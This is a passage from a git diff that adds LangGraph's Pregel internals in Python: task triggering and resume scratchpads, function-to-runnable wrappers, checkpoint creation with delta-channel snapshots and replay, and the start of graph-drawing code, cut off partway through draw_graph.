+    for version in checkpoint["channel_versions"].values():
+        return type(version)()
+    return None
+
+
+def _triggers(
+    channels: Mapping[str, BaseChannel],
+    versions: ChannelVersions,
+    seen: ChannelVersions | None,
+    null_version: V,
+    proc: PregelNode,
+) -> bool:
+    if seen is None:
+        for chan in proc.triggers:
+            if channels[chan].is_available():
+                return True
+    else:
+        for chan in proc.triggers:
+            if channels[chan].is_available() and versions.get(  # type: ignore[operator]
+                chan, null_version
+            ) > seen.get(chan, null_version):
+                return True
+    return False
+
+
+def _scratchpad(
+    parent_scratchpad: PregelScratchpad | None,
+    pending_writes: list[PendingWrite],
+    task_id: str,
+    namespace_hash: str,
+    resume_map: dict[str, Any] | None,
+    step: int,
+    stop: int,
+) -> PregelScratchpad:
+    if len(pending_writes) > 0:
+        # find global resume value
+        for w in pending_writes:
+            if w[0] == NULL_TASK_ID and w[1] == RESUME:
+                null_resume_write = w
+                break
+        else:
+            # None cannot be used as a resume value, because it would be difficult to
+            # distinguish from missing when used over http
+            null_resume_write = None
+
+        # find task-specific resume value
+        for w in pending_writes:
+            if w[0] == task_id and w[1] == RESUME:
+                task_resume_write = w[2]
+                if not isinstance(task_resume_write, list):
+                    task_resume_write = [task_resume_write]
+                break
+        else:
+            task_resume_write = []
+        del w
+
+        # find namespace and task-specific resume value
+        if resume_map and namespace_hash in resume_map:
+            mapped_resume_write = resume_map[namespace_hash]
+            task_resume_write.append(mapped_resume_write)
+
+    else:
+        null_resume_write = None
+        task_resume_write = []
+
+    def get_null_resume(consume: bool = False) -> Any:
+        if null_resume_write is None:
+            if parent_scratchpad is not None:
+                return parent_scratchpad.get_null_resume(consume)
+            return None
+        if consume:
+            try:
+                pending_writes.remove(null_resume_write)
+                return null_resume_write[2]
+            except ValueError:
+                return None
+        return null_resume_write[2]
+
+    # using itertools.count as an atomic counter (+= 1 is not thread-safe)
+    return PregelScratchpad(
+        step=step,
+        stop=stop,
+        # call
+        call_counter=LazyAtomicCounter(),
+        # interrupt
+        interrupt_counter=LazyAtomicCounter(),
+        resume=task_resume_write,
+        get_null_resume=get_null_resume,
+        # subgraph
+        subgraph_counter=LazyAtomicCounter(),
+    )
+
+
+def _proc_input(
+    proc: PregelNode,
+    managed: ManagedValueMapping,
+    channels: Mapping[str, BaseChannel],
+    *,
+    for_execution: bool,
+    scratchpad: PregelScratchpad,
+    input_cache: dict[INPUT_CACHE_KEY_TYPE, Any] | None,
+) -> Any:
+    """Prepare input for a PULL task, based on the process's channels and triggers."""
+    # if in cache return shallow copy
+    if input_cache is not None and proc.input_cache_key in input_cache:
+        return copy(input_cache[proc.input_cache_key])
+    # If all trigger channels subscribed by this process are not empty
+    # then invoke the process with the values of all non-empty channels
+    if isinstance(proc.channels, list):
+        val: dict[str, Any] = {}
+        for chan in proc.channels:
+            if chan in channels:
+                if channels[chan].is_available():
+                    val[chan] = channels[chan].get()
+            else:
+                val[chan] = managed[chan].get(scratchpad)
+    elif isinstance(proc.channels, str):
+        if proc.channels in channels:
+            if channels[proc.channels].is_available():
+                val = channels[proc.channels].get()
+            else:
+                return MISSING
+        else:
+            return MISSING
+    else:
+        raise RuntimeError(
+            f"Invalid channels type, expected list or dict, got {proc.channels}"
+        )
+
+    # If the process has a mapper, apply it to the value
+    if for_execution and proc.mapper is not None:
+        val = proc.mapper(val)
+
+    # Cache the input value
+    if input_cache is not None:
+        input_cache[proc.input_cache_key] = val
+
+    return val
+
+
+def _uuid5_str(namespace: bytes, *parts: str | bytes) -> str:
+    """Generate a UUID from the SHA-1 hash of a namespace and str parts."""
+
+    sha = sha1(namespace, usedforsecurity=False)
+    sha.update(b"".join(p.encode() if isinstance(p, str) else p for p in parts))
+    hex = sha.hexdigest()
+    return f"{hex[:8]}-{hex[8:12]}-{hex[12:16]}-{hex[16:20]}-{hex[20:32]}"
+
+
+def _xxhash_str(namespace: bytes, *parts: str | bytes) -> str:
+    """Generate a UUID from the XXH3 hash of a namespace and str parts."""
+    hex = xxh3_128_hexdigest(
+        namespace + b"".join(p.encode() if isinstance(p, str) else p for p in parts)
+    )
+    return f"{hex[:8]}-{hex[8:12]}-{hex[12:16]}-{hex[16:20]}-{hex[20:32]}"
+
+
+def task_path_str(tup: str | int | tuple) -> str:
+    """Generate a string representation of the task path."""
+    return (
+        f"~{', '.join(task_path_str(x) for x in tup)}"
+        if isinstance(tup, (tuple, list))
+        else f"{tup:010d}"
+        if isinstance(tup, int)
+        else str(tup)
+    )
+
+
+LAZY_ATOMIC_COUNTER_LOCK = threading.Lock()
+
+
+class LazyAtomicCounter:
+    __slots__ = ("_counter",)
+
+    _counter: Callable[[], int] | None
+
+    def __init__(self) -> None:
+        self._counter = None
+
+    def __call__(self) -> int:
+        if self._counter is None:
+            with LAZY_ATOMIC_COUNTER_LOCK:
+                if self._counter is None:
+                    self._counter = itertools.count(0).__next__
+        return self._counter()
+
+
+def sanitize_untracked_values_in_send(
+    packet: Send, channels: Mapping[str, BaseChannel]
+) -> Send:
+    """Pop any values belonging to UntrackedValue channels in Send.arg for safe checkpointing.
+
+    Send is often called with state to be passed to the dest node, which may contain
+    UntrackedValues at the top level. Send is not typed and arg may be a nested dict."""
+
+    if not isinstance(packet.arg, dict):
+        # Command
+        return packet
+
+    # top level keys should be the channel names
+    sanitized_arg = {
+        k: v
+        for k, v in packet.arg.items()
+        if not isinstance(channels.get(k), UntrackedValue)
+    }
+    return Send(node=packet.node, arg=sanitized_arg, timeout=packet.timeout)
diff --git a/libs/langgraph/langgraph/pregel/_call.py b/libs/langgraph/langgraph/pregel/_call.py
new file mode 100644
index 0000000..6c3fb38
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_call.py
@@ -0,0 +1,298 @@
+"""Utility to convert a user provided function into a Runnable with a ChannelWrite."""
+
+from __future__ import annotations
+
+import concurrent.futures
+import functools
+import inspect
+import sys
+import types
+from collections.abc import Awaitable, Callable, Generator, Sequence
+from datetime import timedelta
+from typing import Any, Generic, TypeVar, cast
+
+from langchain_core.runnables import Runnable
+from typing_extensions import ParamSpec
+
+from langgraph._internal._constants import CONF, CONFIG_KEY_CALL, RETURN
+from langgraph._internal._runnable import (
+    RunnableCallable,
+    RunnableSeq,
+    is_async_callable,
+    run_in_executor,
+)
+from langgraph._internal._timeout import (
+    coerce_timeout_policy,
+    sync_timeout_unsupported,
+)
+from langgraph.config import get_config
+from langgraph.pregel._write import ChannelWrite, ChannelWriteEntry
+from langgraph.types import CachePolicy, RetryPolicy, TimeoutPolicy
+
+##
+# Utilities borrowed from cloudpickle.
+# https://github.com/cloudpipe/cloudpickle/blob/6220b0ce83ffee5e47e06770a1ee38ca9e47c850/cloudpickle/cloudpickle.py#L265
+
+
+def _getattribute(obj: Any, name: str) -> Any:
+    parent = None
+    for subpath in name.split("."):
+        if subpath == "":
+            raise AttributeError(f"Can't get local attribute {name!r} on {obj!r}")
+        try:
+            parent = obj
+            obj = getattr(obj, subpath)
+        except AttributeError:
+            raise AttributeError(f"Can't get attribute {name!r} on {obj!r}") from None
+    return obj, parent
+
+
+def _whichmodule(obj: Any, name: str) -> str | None:
+    """Find the module an object belongs to.
+
+    This function differs from ``pickle.whichmodule`` in two ways:
+    - it does not mangle the cases where obj's module is __main__ and obj was
+      not found in any module.
+    - Errors arising during module introspection are ignored, as those errors
+      are considered unwanted side effects.
+    """
+    module_name = getattr(obj, "__module__", None)
+
+    if module_name is not None:
+        return module_name
+    # Protect the iteration by using a copy of sys.modules against dynamic
+    # modules that trigger imports of other modules upon calls to getattr or
+    # other threads importing at the same time.
+    for module_name, module in sys.modules.copy().items():
+        # Some modules such as coverage can inject non-module objects inside
+        # sys.modules
+        if (
+            module_name == "__main__"
+            or module_name == "__mp_main__"
+            or module is None
+            or not isinstance(module, types.ModuleType)
+        ):
+            continue
+        try:
+            if _getattribute(module, name)[0] is obj:
+                return module_name
+        except Exception:
+            pass
+    return None
+
+
+def identifier(obj: Any, name: str | None = None) -> str | None:
+    """Return the module and name of an object."""
+    from langgraph._internal._runnable import RunnableCallable, RunnableSeq
+    from langgraph.pregel._read import PregelNode
+
+    if isinstance(obj, PregelNode):
+        obj = obj.bound
+    if isinstance(obj, RunnableSeq):
+        obj = obj.steps[0]
+    if isinstance(obj, RunnableCallable):
+        obj = obj.func
+    if name is None:
+        name = getattr(obj, "__qualname__", None)
+    if name is None:  # pragma: no cover
+        # This used to be needed for Python 2.7 support but is probably not
+        # needed anymore. However we keep the __name__ introspection in case
+        # users of cloudpickle rely on this old behavior for unknown reasons.
+        name = getattr(obj, "__name__", None)
+    if name is None:
+        return None
+
+    module_name = getattr(obj, "__module__", None)
+    if module_name is None:
+        # In this case, obj.__module__ is None. obj is thus treated as dynamic.
+        return None
+
+    return f"{module_name}.{name}"
+
+
+def _lookup_module_and_qualname(
+    obj: Any, name: str | None = None
+) -> tuple[types.ModuleType, str] | None:
+    if name is None:
+        name = getattr(obj, "__qualname__", None)
+    if name is None:  # pragma: no cover
+        # This used to be needed for Python 2.7 support but is probably not
+        # needed anymore. However we keep the __name__ introspection in case
+        # users of cloudpickle rely on this old behavior for unknown reasons.
+        name = getattr(obj, "__name__", None)
+    if name is None:
+        return None
+
+    module_name = _whichmodule(obj, name)
+
+    if module_name is None:
+        # In this case, obj.__module__ is None AND obj was not found in any
+        # imported module. obj is thus treated as dynamic.
+        return None
+
+    if module_name == "__main__":
+        return None
+
+    # Note: if module_name is in sys.modules, the corresponding module is
+    # assumed importable at unpickling time. See #357
+    module = sys.modules.get(module_name, None)
+    if module is None:
+        # The main reason why obj's module would not be imported is that this
+        # module has been dynamically created, using for example
+        # types.ModuleType. The other possibility is that module was removed
+        # from sys.modules after obj was created/imported. But this case is not
+        # supported, as the standard pickle does not support it either.
+        return None
+
+    try:
+        obj2, parent = _getattribute(module, name)
+    except AttributeError:
+        # obj was not found inside the module it points to
+        return None
+    if obj2 is not obj:
+        return None
+    return module, name
+
+
+def _explode_args_trace_inputs(
+    sig: inspect.Signature, input: tuple[tuple[Any, ...], dict[str, Any]]
+) -> dict[str, Any]:
+    args, kwargs = input
+    bound = sig.bind_partial(*args, **kwargs)
+    bound.apply_defaults()
+    arguments = dict(bound.arguments)
+    arguments.pop("self", None)
+    arguments.pop("cls", None)
+    for param_name, param in sig.parameters.items():
+        if param.kind == inspect.Parameter.VAR_KEYWORD:
+            # Update with the **kwargs, and remove the original entry
+            # This is to help flatten out keyword arguments
+            if param_name in arguments:
+                arguments.update(arguments.pop(param_name))
+    return arguments
+
+
+def get_runnable_for_entrypoint(func: Callable[..., Any]) -> Runnable:
+    key = (func, False)
+    if key in CACHE:
+        return CACHE[key]
+    else:
+        if is_async_callable(func):
+            run = RunnableCallable(
+                None, func, name=func.__name__, trace=False, recurse=False
+            )
+        else:
+            afunc = functools.update_wrapper(
+                functools.partial(run_in_executor, None, func), func
+            )
+            run = RunnableCallable(
+                func,
+                afunc,
+                name=func.__name__,
+                trace=False,
+                recurse=False,
+            )
+        if not _lookup_module_and_qualname(func):
+            return run
+        return CACHE.setdefault(key, run)
+
+
+def get_runnable_for_task(func: Callable[..., Any]) -> Runnable:
+    key = (func, True)
+    if key in CACHE:
+        return CACHE[key]
+    else:
+        if hasattr(func, "__name__"):
+            name = func.__name__
+        elif hasattr(func, "func"):
+            name = func.func.__name__
+        elif hasattr(func, "__class__"):
+            name = func.__class__.__name__
+        else:
+            name = str(func)
+
+        if is_async_callable(func):
+            run = RunnableCallable(
+                None,
+                func,
+                explode_args=True,
+                name=name,
+                trace=False,
+                recurse=False,
+            )
+        else:
+            run = RunnableCallable(
+                func,
+                functools.wraps(func)(functools.partial(run_in_executor, None, func)),
+                explode_args=True,
+                name=name,
+                trace=False,
+                recurse=False,
+            )
+        seq = RunnableSeq(
+            run,
+            ChannelWrite([ChannelWriteEntry(RETURN)]),
+            name=name,
+            trace_inputs=functools.partial(
+                _explode_args_trace_inputs, inspect.signature(func)
+            ),
+        )
+        if not _lookup_module_and_qualname(func):
+            return seq
+        return CACHE.setdefault(key, seq)
+
+
+CACHE: dict[tuple[Callable[..., Any], bool], Runnable] = {}
+
+
+P = ParamSpec("P")
+P1 = TypeVar("P1")
+T = TypeVar("T")
+
+
+class SyncAsyncFuture(Generic[T], concurrent.futures.Future[T]):
+    def __await__(self) -> Generator[T, None, T]:
+        yield cast(T, ...)
+
+
+def call(
+    func: Callable[P, Awaitable[T]] | Callable[P, T],
+    *args: Any,
+    retry_policy: Sequence[RetryPolicy] | None = None,
+    cache_policy: CachePolicy | None = None,
+    timeout: float | timedelta | TimeoutPolicy | None = None,
+    **kwargs: Any,
+) -> SyncAsyncFuture[T]:
+    return _call_with_options(
+        func,
+        args,
+        kwargs,
+        retry_policy=retry_policy,
+        cache_policy=cache_policy,
+        timeout=coerce_timeout_policy(timeout),
+    )
+
+
+def _call_with_options(
+    func: Callable[P, Awaitable[T]] | Callable[P, T],
+    args: tuple[Any, ...],
+    kwargs: dict[str, Any],
+    *,
+    retry_policy: Sequence[RetryPolicy] | None = None,
+    cache_policy: CachePolicy | None = None,
+    timeout: TimeoutPolicy | None = None,
+) -> SyncAsyncFuture[T]:
+    if timeout is not None and not is_async_callable(func):
+        name = getattr(func, "__name__", func.__class__.__name__)
+        raise sync_timeout_unsupported(name, kind="Task")
+    config = get_config()
+    impl = config[CONF][CONFIG_KEY_CALL]
+    fut = impl(
+        func,
+        (args, kwargs),
+        retry_policy=retry_policy,
+        cache_policy=cache_policy,
+        callbacks=config["callbacks"],
+        timeout=timeout,
+    )
+    return fut
diff --git a/libs/langgraph/langgraph/pregel/_checkpoint.py b/libs/langgraph/langgraph/pregel/_checkpoint.py
new file mode 100644
index 0000000..c336f75
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_checkpoint.py
@@ -0,0 +1,331 @@
+from __future__ import annotations
+
+import uuid
+from collections.abc import Callable, Iterable, Mapping
+from datetime import datetime, timezone
+from typing import Any, cast
+
+from langchain_core.runnables import RunnableConfig
+from langgraph.checkpoint.base import (
+    BaseCheckpointSaver,
+    Checkpoint,
+)
+from langgraph.checkpoint.base.id import uuid6
+from langgraph.checkpoint.serde.types import _DeltaSnapshot
+
+from langgraph._internal._config import DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT
+from langgraph._internal._constants import PUSH
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel
+from langgraph.channels.delta import DeltaChannel
+from langgraph.managed.base import ManagedValueMapping, ManagedValueSpec
+
+LATEST_VERSION = 4
+
+GetNextVersion = Callable[[Any, None], Any]
+
+
+def empty_checkpoint() -> Checkpoint:
+    return Checkpoint(
+        v=LATEST_VERSION,
+        id=str(uuid6(clock_seq=-2)),
+        ts=datetime.now(timezone.utc).isoformat(),
+        channel_values={},
+        channel_versions={},
+        versions_seen={},
+    )
+
+
+def exit_delta_task_id(step: int, task_id: str) -> str:
+    """Synthetic task id for exit-mode DeltaChannel writes.
+
+    Embeds the superstep in the first UUID group so `ORDER BY task_id, idx`
+    preserves chronological order while remaining a valid RFC UUID (required by
+    Postgres `checkpoint_writes.task_id uuid` columns).
+    """
+    parts = str(uuid.UUID(task_id)).split("-")
+    return f"{step:08d}-{parts[1]}-{parts[2]}-{parts[3]}-{parts[4]}"
+
+
+def delta_channels_to_snapshot(
+    channels: Mapping[str, BaseChannel],
+    counters_since_delta_snapshot: Mapping[str, tuple[int, int]],
+) -> set[str]:
+    """Return the set of DeltaChannel names that should snapshot now.
+
+    A channel snapshots when EITHER its accumulated update count reaches
+    `snapshot_frequency` OR the total supersteps since its last snapshot
+    reaches `DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT`. This is a pure
+    predicate — no mutation.
+    """
+    result: set[str] = set()
+    for name, ch in channels.items():
+        if not isinstance(ch, DeltaChannel) or not ch.is_available():
+            continue
+        updates, supersteps = counters_since_delta_snapshot.get(name, (0, 0))
+        if (
+            updates >= ch.snapshot_frequency
+            or supersteps >= DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT
+        ):
+            result.add(name)
+    return result
+
+
+def get_updated_channels_from_tasks(
+    run_tasks: Iterable[Any],
+) -> set[str]:
+    """Channel names written by an update_state superstep (excluding PUSH)."""
+    return {c for task in run_tasks for c, _ in task.writes if c != PUSH}
+
+
+def get_delta_channels_from_all_channels(
+    channels: Mapping[str, BaseChannel],
+) -> set[str]:
+    """DeltaChannels to snapshot on the first update_state of a fresh thread."""
+    return {
+        k
+        for k, ch in channels.items()
+        if isinstance(ch, DeltaChannel) and ch.is_available()
+    }
+
+
+def create_metadata_for_update_state_api(
+    channels: Mapping[str, BaseChannel],
+    updated_channels: set[str],
+    *,
+    prev_metadata: Mapping[str, Any] | None,
+) -> dict[str, tuple[int, int]]:
+    """Advance ``counters_since_delta_snapshot`` for update_state on a non-fresh thread.
+
+    Mirrors the per-superstep counter bump in ``_loop._put_checkpoint``.
+    """
+    prev_counters = dict(
+        (prev_metadata or {}).get("counters_since_delta_snapshot") or {}
+    )
+    new_counters: dict[str, tuple[int, int]] = {}
+    for ch_name, ch in channels.items():
+        if not isinstance(ch, DeltaChannel):
+            continue
+        u, s = prev_counters.get(ch_name, (0, 0))
+        s += 1
+        if ch_name in updated_channels:
+            u += 1
+        new_counters[ch_name] = (u, s)
+    return new_counters
+
+
+def create_checkpoint_plan_for_update_state_api(
+    channels: Mapping[str, BaseChannel],
+    updated_channels: set[str],
+    *,
+    step: int,
+    parents: dict[str, Any],
+    saved_metadata: Mapping[str, Any] | None,
+    is_fresh_thread: bool,
+) -> tuple[set[str], dict[str, Any]]:
+    """Return ``(channels_to_snapshot, metadata)`` for an update_state head."""
+    metadata: dict[str, Any] = {
+        "source": "update",
+        "step": step,
+        "parents": parents,
+    }
+    if is_fresh_thread:
+        return get_delta_channels_from_all_channels(channels), metadata
+
+    new_counters = create_metadata_for_update_state_api(
+        channels,
+        updated_channels,
+        prev_metadata=saved_metadata,
+    )
+    channels_to_snapshot = delta_channels_to_snapshot(channels, new_counters)
+    for k in channels_to_snapshot:
+        new_counters[k] = (0, 0)
+    non_zero = {k: v for k, v in new_counters.items() if v != (0, 0)}
+    if non_zero:
+        metadata["counters_since_delta_snapshot"] = non_zero
+    return channels_to_snapshot, metadata
+
+
+def create_checkpoint(
+    checkpoint: Checkpoint,
+    channels: Mapping[str, BaseChannel] | None,
+    step: int,
+    *,
+    id: str | None = None,
+    updated_channels: set[str] | None = None,
+    get_next_version: GetNextVersion | None = None,
+    channels_to_snapshot: set[str] | None = None,
+) -> Checkpoint:
+    """Build a new Checkpoint from the previous one and live channel state.
+
+    For each name in `channels_to_snapshot`, a `_DeltaSnapshot(value)` blob
+    is written into `channel_values[k]`. Other delta channels are omitted
+    from `channel_values` — the ancestor walk reconstructs their state
+    from `checkpoint_writes`. Callers compute the set via
+    `delta_channels_to_snapshot(channels, counters)`; defaults to empty
+    (no snapshots) when not provided.
+    """
+    ts = datetime.now(timezone.utc).isoformat()
+    channels_to_snapshot = channels_to_snapshot or set()
+    if channels is None:
+        values = checkpoint["channel_values"]
+        channel_versions = checkpoint["channel_versions"]
+    else:
+        values = {}
+        channel_versions = dict(checkpoint["channel_versions"])
+        for k in channels:
+            if k not in channel_versions:
+                continue
+            ch = channels[k]
+            if k in channels_to_snapshot:
+                # Callers force a full snapshot blob here: exit mode when a
+                # delta channel reaches its snapshot cadence, and update_state
+                # on a fresh thread (no ancestor to replay writes from). The
+                # manual version-bump below only applies to the exit-mode case.
+                #
+                # In exit mode, the snapshot decision is deferred to exit
+                # time (intermediate steps have do_checkpoint=False). The
+                # channel's count may have reached snapshot_frequency over
+                # several supersteps, but the LAST superstep may not have
+                # written to this channel. In that case apply_writes()
+                # (in _algo.py) didn't bump this channel's version, so
+                # saver.put() wouldn't include it in new_versions and
+                # the snapshot blob would be silently dropped. The manual
+                # bump below closes the gap. In sync/async durability this
+                # branch is effectively dead code (the step that pushes
+                # the count to freq always writes the channel).
+                if get_next_version is not None and (
+                    updated_channels is None or k not in updated_channels
+                ):
+                    channel_versions[k] = get_next_version(channel_versions[k], None)
+                values[k] = _DeltaSnapshot(ch.get())
+            else:
+                v = ch.checkpoint()
+                if v is not MISSING:
+                    values[k] = v
+    return Checkpoint(
+        v=LATEST_VERSION,
+        ts=ts,
+        id=id or str(uuid6(clock_seq=step)),
+        channel_values=values,
+        channel_versions=channel_versions,
+        versions_seen=checkpoint["versions_seen"],
+        updated_channels=None if updated_channels is None else sorted(updated_channels),
+    )
+
+
+def _needs_replay(spec: BaseChannel, stored: object) -> bool:
+    """True if `spec` is a `DeltaChannel` and no value is stored at this
+    checkpoint, requiring an ancestor walk to reconstruct.
+
+    `_DeltaSnapshot` blobs and plain values (migration) resolve directly via
+    `from_checkpoint` — only absence (`MISSING`) triggers replay.
+    """
+    if not isinstance(spec, DeltaChannel):
+        return False
+    return stored is MISSING
+
+
+def channels_from_checkpoint(
+    specs: Mapping[str, BaseChannel | ManagedValueSpec],
+    checkpoint: Checkpoint,
+    *,
+    saver: BaseCheckpointSaver | None = None,
+    config: RunnableConfig | None = None,
+) -> tuple[Mapping[str, BaseChannel], ManagedValueMapping]:
+    """Hydrate channels from a checkpoint.
+
+    For most channels, `spec.from_checkpoint(checkpoint["channel_values"][k])`
+    is sufficient. `DeltaChannel` is the exception: when the channel is
+    absent from `channel_values`, an ancestor walk via
+    `saver.get_delta_channel_history` is required to find the nearest seed
+    (`_DeltaSnapshot` blob or pre-migration plain value) and accumulate
+    the writes between it and the target. All delta channels needing
+    replay are batched into a single saver call.
+    """
+    channel_specs: dict[str, BaseChannel] = {}
+    managed_specs: dict[str, ManagedValueSpec] = {}
+    for k, v in specs.items():
+        if isinstance(v, BaseChannel):
+            channel_specs[k] = v
+        else:
+            managed_specs[k] = v
+
+    delta_channels: list[str] = [
+        k
+        for k, spec in channel_specs.items()
+        if _needs_replay(spec, checkpoint["channel_values"].get(k, MISSING))
+    ]
+    histories: Mapping[str, Any] = {}
+    if delta_channels and saver is not None and config is not None:
+        histories = saver.get_delta_channel_history(
+            config=config, channels=delta_channels
+        )
+
+    channels: dict[str, BaseChannel] = {}
+    for k, spec in channel_specs.items():
+        ch: BaseChannel
+        if k in histories:
+            delta_spec = cast(DeltaChannel, spec)
+            history = histories[k]
+            replay_ch = delta_spec.from_checkpoint(history.get("seed", MISSING))
+            replay_ch.replay_writes(history["writes"])
+            ch = replay_ch
+        else:
+            ch = spec.from_checkpoint(checkpoint["channel_values"].get(k, MISSING))
+        channels[k] = ch
+    return channels, managed_specs
+
+
+async def achannels_from_checkpoint(
+    specs: Mapping[str, BaseChannel | ManagedValueSpec],
+    checkpoint: Checkpoint,
+    *,
+    saver: BaseCheckpointSaver | None = None,
+    config: RunnableConfig | None = None,
+) -> tuple[Mapping[str, BaseChannel], ManagedValueMapping]:
+    """Async version of `channels_from_checkpoint`. See docstring there."""
+    channel_specs: dict[str, BaseChannel] = {}
+    managed_specs: dict[str, ManagedValueSpec] = {}
+    for k, v in specs.items():
+        if isinstance(v, BaseChannel):
+            channel_specs[k] = v
+        else:
+            managed_specs[k] = v
+
+    delta_channels: list[str] = [
+        k
+        for k, spec in channel_specs.items()
+        if _needs_replay(spec, checkpoint["channel_values"].get(k, MISSING))
+    ]
+    histories: Mapping[str, Any] = {}
+    if delta_channels and saver is not None and config is not None:
+        histories = await saver.aget_delta_channel_history(
+            config=config, channels=delta_channels
+        )
+
+    channels: dict[str, BaseChannel] = {}
+    for k, spec in channel_specs.items():
+        ch: BaseChannel
+        if k in histories:
+            delta_spec = cast(DeltaChannel, spec)
+            history = histories[k]
+            replay_ch = delta_spec.from_checkpoint(history.get("seed", MISSING))
+            replay_ch.replay_writes(history["writes"])
+            ch = replay_ch
+        else:
+            ch = spec.from_checkpoint(checkpoint["channel_values"].get(k, MISSING))
+        channels[k] = ch
+    return channels, managed_specs
+
+
+def copy_checkpoint(checkpoint: Checkpoint) -> Checkpoint:
+    return Checkpoint(
+        v=checkpoint["v"],
+        ts=checkpoint["ts"],
+        id=checkpoint["id"],
+        channel_values=checkpoint["channel_values"].copy(),
+        channel_versions=checkpoint["channel_versions"].copy(),
+        versions_seen={k: v.copy() for k, v in checkpoint["versions_seen"].items()},
+        updated_channels=checkpoint.get("updated_channels", None),
+    )
diff --git a/libs/langgraph/langgraph/pregel/_config.py b/libs/langgraph/langgraph/pregel/_config.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/langgraph/langgraph/pregel/_draw.py b/libs/langgraph/langgraph/pregel/_draw.py
new file mode 100644
index 0000000..922450d
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_draw.py
@@ -0,0 +1,294 @@
+from __future__ import annotations
+
+from collections import defaultdict
+from collections.abc import Mapping, Sequence
+from typing import Any, NamedTuple, cast
+
+from langchain_core.runnables.config import RunnableConfig
+from langchain_core.runnables.graph import Graph, Node
+from langgraph.checkpoint.base import BaseCheckpointSaver
+
+from langgraph._internal._constants import CONF, CONFIG_KEY_SEND, INPUT
+from langgraph.channels.base import BaseChannel
+from langgraph.channels.last_value import LastValueAfterFinish
+from langgraph.constants import END, START
+from langgraph.managed.base import ManagedValueSpec
+from langgraph.pregel._algo import (
+    PregelTaskWrites,
+    apply_writes,
+    increment,
+    prepare_next_tasks,
+)
+from langgraph.pregel._checkpoint import channels_from_checkpoint, empty_checkpoint
+from langgraph.pregel._io import map_input
+from langgraph.pregel._read import PregelNode
+from langgraph.pregel._write import ChannelWrite
+from langgraph.types import All, Checkpointer
+
+
+class Edge(NamedTuple):
+    source: str
+    target: str
+    conditional: bool
+    data: str | None
+
+
+class TriggerEdge(NamedTuple):
+    source: str
+    conditional: bool
+    data: str | None
+
+
+def draw_graph(
+    config: RunnableConfig,
+    *,
+    nodes: dict[str, PregelNode],
+    specs: dict[str, BaseChannel | ManagedValueSpec],
+    input_channels: str | Sequence[str],
+    interrupt_after_nodes: All | Sequence[str],
+    interrupt_before_nodes: All | Sequence[str],
+    trigger_to_nodes: Mapping[str, Sequence[str]],
+    checkpointer: Checkpointer,
+    subgraphs: dict[str, Graph],
+    limit: int = 250,
+) -> Graph:
+    """Get the graph for this Pregel instance.
+
+    Args:
+        config: The configuration to use for the graph.
+        subgraphs: The subgraphs to include in the graph.
+        checkpointer: The checkpointer to use for the graph.
+
+    Returns:
+        The graph for this Pregel instance.
+    """
+    # (src, dest, is_conditional, label)
+    edges: set[Edge] = set()
+
+    step = -1
+    checkpoint = empty_checkpoint()
+    get_next_version = (
+        checkpointer.get_next_version
+        if isinstance(checkpointer, BaseCheckpointSaver)
+        else increment
+    )
+    channels, managed = channels_from_checkpoint(
+        specs,
+        checkpoint,
+    )
+    static_seen: set[Any] = set()
+    sources: dict[str, set[TriggerEdge]] = {}
+    step_sources: dict[str, set[TriggerEdge]] = {}
+    static_declared_writes: dict[str, set[TriggerEdge]] = defaultdict(set)
+    # remove node mappers
+    nodes = {
+        k: v.copy(update={"mapper": None}) if v.mapper is not None else v
+        for k, v in nodes.items()
+    }
+    # apply input writes
+    input_writes = list(map_input(input_channels, {}))
+    updated_channels = apply_writes(
+        checkpoint,
+        channels,
+        [
+            PregelTaskWrites((), INPUT, input_writes, []),
+        ],
+        get_next_version,
+        trigger_to_nodes,
+    )
+    # prepare first tasks
+    tasks = prepare_next_tasks(
+        checkpoint,
+        [],
+        nodes,
+        channels,
+        managed,
+        config,
+        step,
+        -1,
+        for_execution=True,
+        store=None,
+        checkpointer=None,
+        manager=None,
+        trigger_to_nodes=trigger_to_nodes,
+        updated_channels=updated_channels,
+    )
+    start_tasks = tasks
+    # run the pregel loop
+    for step in range(step, limit):
+        if not tasks:
+            break
+        conditionals: dict[tuple[str, str, Any], str | None] = {}
+        # run task writers
+        for task in tasks.values():
+            for w in task.writers:
+                # apply regular writes
+                if isinstance(w, ChannelWrite):
+                    empty_input = (
+                        cast(BaseChannel, specs["__root__"]).ValueType()
+                        if "__root__" in specs
+                        else None
+                    )
+                    w.invoke(empty_input, task.config)
+                # apply conditional writes declared for static analysis, only once
+                if w not in static_seen:
+                    static_seen.add(w)
+                    # apply static writes
+                    if writes := ChannelWrite.get_static_writes(w):
+                        # END writes are not written, but become edges directly
+                        for t in writes:
+                            if t[0] == END:
+                                edges.add(Edge(task.name, t[0], True, t[2]))
+                        writes = [t for t in writes if t[0] != END]
+                        conditionals.update(
+                            {(task.name, t[0], t[1] or None): t[2] for t in writes}
+                        )
+                        # record static writes for edge creation
+                        for t in writes:
+                            static_declared_writes[task.name].add(
+                                TriggerEdge(t[0], True, t[2])
+                            )
+                        task.config[CONF][CONFIG_KEY_SEND]([t[:2] for t in writes])
+        # collect sources
+        step_sources = {}
+        for task in tasks.values():
+            task_edges = {
+                TriggerEdge(
+                    w[0],
+                    (task.name, w[0], w[1] or None) in conditionals,
+                    conditionals.get((task.name, w[0], w[1] or None)),
+                )
+                for w in task.writes
+            }
+            task_edges |= static_declared_writes.get(task.name, set())
+            step_sources[task.name] = task_edges
+        sources.update(step_sources)
+        # invert triggers
+        trigger_to_sources: dict[str, set[TriggerEdge]] = defaultdict(set)
+        for src, triggers in sources.items():
+            for trigger, cond, label in triggers:
+                trigger_to_sources[trigger].add(TriggerEdge(src, cond, label))
+        # apply writes
+        updated_channels = apply_writes(
+            checkpoint, channels, tasks.values(), get_next_version, trigger_to_nodes
+        )
+        # prepare next tasks
+        tasks = prepare_next_tasks(
+            checkpoint,
+            [],
+            nodes,
+            channels,
+            managed,
+            config,
+            step,
+            limit,
+            for_execution=True,
+            store=None,
+            checkpointer=None,
+            manager=None,
+            trigger_to_nodes=trigger_to_nodes,
+            updated_channels=updated_channels,
+        )
+        # collect deferred nodes
+        deferred_nodes: set[str] = set()
+        edges_to_deferred_nodes: set[Edge] = set()
